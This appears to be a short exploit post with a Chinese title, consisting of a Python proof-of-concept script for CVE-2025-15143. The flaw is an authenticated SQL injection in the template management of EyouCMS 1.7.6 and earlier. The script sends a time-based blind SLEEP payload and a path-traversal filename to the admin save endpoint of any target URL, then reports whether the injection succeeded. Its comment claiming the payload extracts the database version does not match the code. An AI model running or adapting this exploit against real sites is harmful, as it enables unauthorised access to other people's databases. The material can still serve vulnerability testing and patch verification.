CVE-2025-15143 EyouCMS 1.7.6 SQL注入漏洞

# CVE-2025-15143 EyouCMS SQL Injection PoC # Target: EyouCMS <= 1.7.6 # Component: /application/admin/logic/FilemanagerLogic.php # Attack Vector: Backend Template Management SQL Injection via 'content' parameter import requests import sys from urllib.parse import quote def exploit_sql_injection(target_url, admin_cookie): """ SQL Injection PoC for EyouCMS FilemanagerLogic.php Requires admin authentication """ # SQL injection payload - extracts database version # Using time-based blind SQL injection technique payload = "test' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" # Target endpoint for template management endpoint = f"{target_url}/admin.php/filemanager/save" headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious data with SQL injection data = { 'content': payload, 'filename': '../test.html', 'action': 'edit_template' } print(f"[*] Exploiting: {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") if response.elapsed.total_seconds() >= 5: print("[!] SQL Injection Confirmed - Time-based blind injection successful") else: print("[-] Injection may have failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-15143.py <target_url> <admin_cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_sql_injection(target, cookie)